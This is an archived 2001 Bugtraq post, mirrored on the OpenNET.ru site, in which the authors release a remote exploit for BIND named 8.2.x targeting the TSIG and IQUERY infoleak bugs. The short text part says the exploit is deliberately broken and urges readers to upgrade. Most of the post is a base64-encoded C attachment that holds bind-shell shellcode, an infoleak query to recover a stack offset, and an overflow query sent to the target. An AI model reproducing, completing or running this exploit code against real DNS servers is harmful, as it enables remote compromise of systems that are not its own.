The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Выпущена CD-версия OpenNet.RU для оффлайн просмотра.
Для формирования заказа - перейдите по ссылке
.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

real named 8.2.x exploit [broken]


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sun, 4 Feb 2001 20:34:33 +0200
From: Lucian Hudin <luci@WARP.TRANSART.RO>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: real named 8.2.x exploit [broken]

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---423515664-539257130-981311673=:19073
Content-Type: TEXT/PLAIN; charset=US-ASCII


 Hello, bugtraq readers,
 Ix & me decided to post this exploit for recently discovered
bugs in named. This exploit is pretty much broken, because of
the impact it might have. Due to sufficient information available
on the net (about the TSIG bug, and about the IQUERY INFOLEAK bug),
anyone should be able to write that.
 It is strongly recommended that you upgrade your named to the latest
version available on ISC's ftp site (ftp://ftp.isc.org/isc/bind).


 Regards,
 Ix,
 LucySoft


---423515664-539257130-981311673=:19073
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="bind8x.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.30.0102042034330.19073@warp.transart.ro>
Content-Description:
Content-Disposition: attachment; filename="bind8x.c"

LyogDQogKiBsYW1lIG5hbWVkIDguMi54IHJlbW90ZSBleHBsb2l0IGJ5IA0K
ICoNCiAqICAgSXgJCVthZHJlc2FkZWZvcndhcmRAeWFob28uY29tXSAodGhl
IG1hc3RlciBvZiBqbXB6KSwgDQogKiAgIGx1Y3lzb2Z0CVtsdWN5c29mdEBo
b3RtYWlsLmNvbV0gKHRoZSBtYXN0ZXIgb2YgcXVlcmllcykNCiA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iLmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxz
eXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVk
ZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8YXJwYS9uYW1lc2VyLmg+DQoN
CiNkZWZpbmUgbWF4KGEsYikgKChhKT4oYik/KGEpOihiKSkNCg0KI2RlZmlu
ZSBCVUZGU0laRSA0MDk2DQoNCmludCBhcmdldmRpc3AxLCBhcmdldmRpc3Ay
Ow0KDQpjaGFyIHNoZWxsY29kZVtdID0NCi8qIG1haW46ICovDQoiXHhlYlx4
N2IiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBqbXAgY2Fs
bHogICAgICAgICAgICAgICAqLyAvLyAyIC0gMg0KLyogc3RhcnQ6ICovDQoi
XHg1ZSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBw
b3BsICVlc2kgICAgICAgICAgICAgICAqLyAvLyAxIC0gMw0KDQogIC8qIHNv
Y2tldCgpICovDQoiXHgyOVx4YzAiICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAvKiBzdWJsICVlYXgsICVlYXggICAgICAgICAqLyAvLyAyIC0g
NQ0KIlx4ODlceDQ2XHgxMCIgICAgICAgICAgICAgICAgICAgICAgICAgICAg
LyogbW92bCAlZWF4LCAweDEwKCVlc2kpICAgKi8gLy8gMyAtIDgNCiJceDQw
IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2wg
JWVheCAgICAgICAgICAgICAgICovIC8vIDEgLSA5DQoiXHg4OVx4YzMiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3ZsICVlYXgsICVl
YnggICAgICAgICAqLyAvLyAyIC0gMTENCiJceDg5XHg0Nlx4MGMiICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgJWVheCwgMHgwYyglZXNp
KSAgICovIC8vIDMgLSAxNA0KIlx4NDAiICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgLyogaW5jbCAlZWF4ICAgICAgICAgICAgICAgKi8g
Ly8gMSAtIDE1DQoiXHg4OVx4NDZceDA4IiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAvKiBtb3ZsICVlYXgsIDB4MDgoJWVzaSkgICAqLyAvLyAzIC0g
MTgNCiJceDhkXHg0ZVx4MDgiICAgICAgICAgICAgICAgICAgICAgICAgICAg
IC8qIGxlYWwgMHgwOCglZXNpKSwgJWVjeCAgICovIC8vIDMgLSAyMQ0KIlx4
YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAkMHg2NiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDIzDQoiXHhjZFx4ODAi
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBpbnQgJDB4ODAg
ICAgICAgICAgICAgICAqLyAvLyAyIC0gMjUNCg0KICAvKiBiaW5kKCkgKi8N
CiJceDQzIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8q
IGluY2wgJWVieCAgICAgICAgICAgICAgICovIC8vIDEgLSAyNg0KIlx4YzZc
eDQ2XHgxMFx4MTAiICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92YiAk
MHgxMCwgMHgxMCglZXNpKSAgKi8gLy8gNCAtIDMwDQoiXHg2Nlx4ODlceDVl
XHgxNCIgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3Z3ICVieCwgMHgx
NCglZXNpKSAgICAqLyAvLyA0IC0gMzQNCiJceDg4XHg0Nlx4MDgiICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmIgJWFsLCAweDA4KCVlc2kp
ICAgICovIC8vIDMgLSAzNw0KIlx4MjlceGMwIiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgLyogc3VibCAlZWF4LCAlZWF4ICAgICAgICAgKi8g
Ly8gMiAtIDM5DQoiXHg4OVx4YzIiICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAvKiBtb3ZsICVlYXgsICVlZHggICAgICAgICAqLyAvLyAyIC0g
NDENCiJceDg5XHg0Nlx4MTgiICAgICAgICAgICAgICAgICAgICAgICAgICAg
IC8qIG1vdmwgJWVheCwgMHgxOCglZXNpKSAgICovIC8vIDMgLSA0NA0KIlx4
YjBceDkwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAkMHg5MCwgJWFsICAgICAgICAgKi8gLy8gMiAtIDQ2DQoiXHg2Nlx4ODlc
eDQ2XHgxNiIgICAgICAgICAgICAgICAgICAgICAgICAvKiBtb3Z3ICVheCwg
MHgxNiglZXNpKSAgICAqLyAvLyA0IC0gNTANCiJceDhkXHg0ZVx4MTQiICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGxlYWwgMHgxNCglZXNpKSwg
JWVjeCAgICovIC8vIDMgLSA1Mw0KIlx4ODlceDRlXHgwYyIgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgLyogbW92bCAlZWN4LCAweDBjKCVlc2kpICAg
Ki8gLy8gMyAtIDU2DQoiXHg4ZFx4NGVceDA4IiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBsZWFsIDB4MDgoJWVzaSksICVlY3ggICAqLyAvLyAz
IC0gNTkNCg0KIlx4YjBceDY2IiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLyogbW92YiAkMHg2NiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDYx
DQoiXHhjZFx4ODAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAv
KiBpbnQgJDB4ODAgICAgICAgICAgICAgICAqLyAvLyAyIC0gMg0KDQogIC8q
IGxpc3RlbigpICovDQoiXHg4OVx4NWVceDBjIiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBtb3ZsICVlYngsIDB4MGMoJWVzaSkgICAqLw0KIlx4
NDMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogaW5j
bCAlZWJ4ICAgICAgICAgICAgICAgKi8NCiJceDQzIiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIC8qIGluY2wgJWVieCAgICAgICAgICAg
ICAgICovDQoiXHhiMFx4NjYiICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAvKiBtb3ZiICQweDY2LCAlYWwgICAgICAgICAqLw0KIlx4Y2RceDgw
IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogaW50ICQweDgw
ICAgICAgICAgICAgICAgKi8NCg0KICAvKiBhY2NlcHQoKSAqLw0KIlx4ODlc
eDU2XHgwYyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92bCAl
ZWR4LCAweDBjKCVlc2kpICAgKi8gLy8gMyAtIDUNCiJceDg5XHg1Nlx4MTAi
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIG1vdmwgJWVkeCwgMHgx
MCglZXNpKSAgICovIC8vIDMgLSA4DQoiXHhiMFx4NjYiICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAvKiBtb3ZiICQweDY2LCAlYWwgICAgICAg
ICAqLyAvLyAyIC0gMTANCiJceDQzIiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIC8qIGluY2wgJWVieCAgICAgICAgICAgICAgICovIC8v
IDEgLSAxMQ0KIlx4Y2RceDgwIiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgLyogaW50ICQweDgwICAgICAgICAgICAgICAgKi8gLy8gMSAtIDEy
DQoNCiAgLyogZHVwMihzLCAwKTsgZHVwMihzLCAxKTsgZHVwMihzLCAyKTsg
Ki8NCiJceDg2XHhjMyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IC8qIHhjaGdiICVhbCwgJWJsICAgICAgICAgICovIC8vIDIgLSAxNA0KIlx4
YjBceDNmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogbW92
YiAkMHgzZiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDE2DQoiXHgyOVx4Yzki
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBzdWJsICVlY3gs
ICVlY3ggICAgICAgICAqLyAvLyAyIC0gMTgNCiJceGNkXHg4MCIgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGludCAkMHg4MCAgICAgICAg
ICAgICAgICovIC8vIDIgLSAyMA0KIlx4YjBceDNmIiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgLyogbW92YiAkMHgzZiwgJWFsICAgICAgICAg
Ki8gLy8gMiAtIDIyDQoiXHg0MSIgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAvKiBpbmNsICVlY3ggICAgICAgICAgICAgICAqLyAvLyAx
IC0gMjMNCiJceGNkXHg4MCIgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIC8qIGludCAkMHg4MCAgICAgICAgICAgICAgICovIC8vIDIgLSAyNQ0K
Ilx4YjBceDNmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLyog
bW92YiAkMHgzZiwgJWFsICAgICAgICAgKi8gLy8gMiAtIDI3DQoiXHg0MSIg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBpbmNsICVl
Y3ggICAgICAgICAgICAgICAqLyAvLyAxIC0gMjgNCiJceGNkXHg4MCIgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qIGludCAkMHg4MCAgICAg
ICAgICAgICAgICovIC8vIDIgLSAzMA0KDQogIC8qIGV4ZWN2ZSgpICovDQoi
XHg4OFx4NTZceDA3IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKiBt
b3ZiICVkbCwgMHgwNyglZXNpKSAgICAqLyAvLyAzIC0gMzMNCiJceDg5XHg3
Nlx4MGMiICAgICAgICAgICAgICAgICAgICAgICAgICA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p9DQoNCg0KDQoNCmludCBpbmZvbGVha19xcnkoY2hhciogYnVmZikNCnsN
CiAgICAgICAgSEVBREVSKiBoZHI7DQogICAgICAgIGludCBuLCBrOw0KICAg
ICAgICBjaGFyKiBwdHI7DQogICAgICAgIGludCBxcnlfc3BhY2UgPSAxMjsN
CiAgICAgICAgaW50IGR1bW15X25hbWVzID0gNzsNCiAgICAgICAgaW50IGV2
aWxfc2l6ZSA9IGh0b25zKDB4ZmYpOw0KICAgICAgICANCiAgICAgICAgbWVt
c2V0KGJ1ZmYsIDAsIEJVRkZTSVpFKTsNCiAgICAgICAgaGRyID0gKEhFQURF
UiopYnVmZjsNCg0KICAgICAgICBoZHItPmlkID0gaHRvbnMoMHhiZWVmKTsN
CiAgICAgICAgaGRyLT5vcGNvZGUgID0gSVFVRVJZOw0KICAgICAgICBoZHIt
PnJkICAgICAgPSAxOw0KICAgICAgICBoZHItPnJhICAgICAgPSAxOw0KICAg
ICAgICBoZHItPnFkY291bnQgPSBodG9ucygwKTsNCiAgICAgICAgaGRyLT5u
c2NvdW50ID0gaHRvbnMoMCk7DQogICAgICAgIGhkci0+YW5jb3VudCA9IGh0
b25zKDEpOw0KICAgICAgICBoZHItPmFyY291bnQgPSBodG9ucygwKTsNCiAg
ICAgICAgDQoNCglwdHIgPSBidWZmICsgc2l6ZW9mKEhFQURFUik7ICAgICAg
ICANCgkNCgluID0gNjI7DQoJDQoJZm9yIChrID0gMDsgayA8IGR1bW15X25h
bWVzOyBrKyspDQoJew0KCQkqcHRyKysgPSBuOw0KCQlwdHIgKz0gbjsNCgkJ
DQoJfQ0KDQogICAgICAgIFBVVFNIT1JUKGh0b25zKDEvKm5zX3RfYSovKSwg
cHRyKTsgICAgICAgICAgICAgIC8qIHR5cGUgKi8NCiAgICAgICAgUFVUU0hP
UlQoaHRvbnMoVF9BKSwgcHRyKTsgICAgICAgICAgICAgICAgICAgICAgLyog
Y2xhc3MgKi8NCiAgICAgICAgUFVUTE9ORyhodG9ucygxKSw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wMDBmZjsNCgkJCQlpKys7DQoJCQkJKnB0cisrID0gKGxhbWVhZGRy
ICYgMHgwMDAwZmYwMCkgPj4gODsNCgkJCQlpKys7DQoJCQkJKnB0cisrID0g
KGxhbWVhZGRyICYgMHgwMGZmMDAwMCkgPj4gMTY7DQoJCQkJaSsrOw0KCQkJ
CSpwdHIrKyA9IChsYW1lYWRkciAmIDB4ZmYwMDAwMDApID4+IDI0Ow0KCQkJ
fQ0KCQkJZWxzZSBpZiAoKGsgPT0gcnJvZmZzZXRpZHgpICYmIChpID09IG9m
ZnNldDAgKyA4KSkNCgkJCXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgKnB0cisrID0gYXJnZXZkaXNwMSAmIDB4MDAwMDAwZmY7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGkrKzsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgKnB0cisrID0gKGFyZ2V2ZGlzcDEgJiAw
eDAwMDBmZjAwKSA+PiA4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBpKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICpw
dHIrKyA9IChhcmdldmRpc3AxICYgMHgwMGZmMDAwMCkgPj4gMTY7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGkrKzsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgKnB0cisrID0gKGFyZ2V2ZGlzcDEgJiAw
eGZmMDAwMDAwKSA+PiAyNDsNCgkJCQlpKys7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICpwdHIrKyA9IGFyZ2V2ZGlzcDIgJiAweDAwMDAw
MGZmOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpKys7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICpwdHIrKyA9IChhcmdl
dmRpc3AyICYgMHgwMDAwZmYwMCkgPj4gODsNCiAgICAgICAgICAgICAgICAg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JDQoJb2Zmc2V0ID0geHRyYWN0X29m
ZnNldChidWZmKTsNCglwcmludGYoInJldHJpZXZlZCBzdGFjayBvZmZzZXQg
PSAleFxuIiwgb2Zmc2V0KTsNCgkNCgkNCglsZW4gPSBldmlsX3F1ZXJ5KGJ1
ZmYsIG9mZnNldCk7DQoJDQoJc2VuZHRvKHNvY2ssIGJ1ZmYsIGxlbiwgMCAs
IChzdHJ1Y3Qgc29ja2FkZHIgKikmc2EsIHNpemVvZihzYSkpOw0KCQ0KCWlm
ICgwID4gY2xvc2Uoc29jaykpDQoJew0KCQlyZXR1cm4oLTEpOw0KCX0NCg0K
CWNvbm5lY3Rpb24oc2EpOw0KDQoJcmV0dXJuKDApOwkNCn0NCg==
---423515664-539257130-981311673=:19073--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.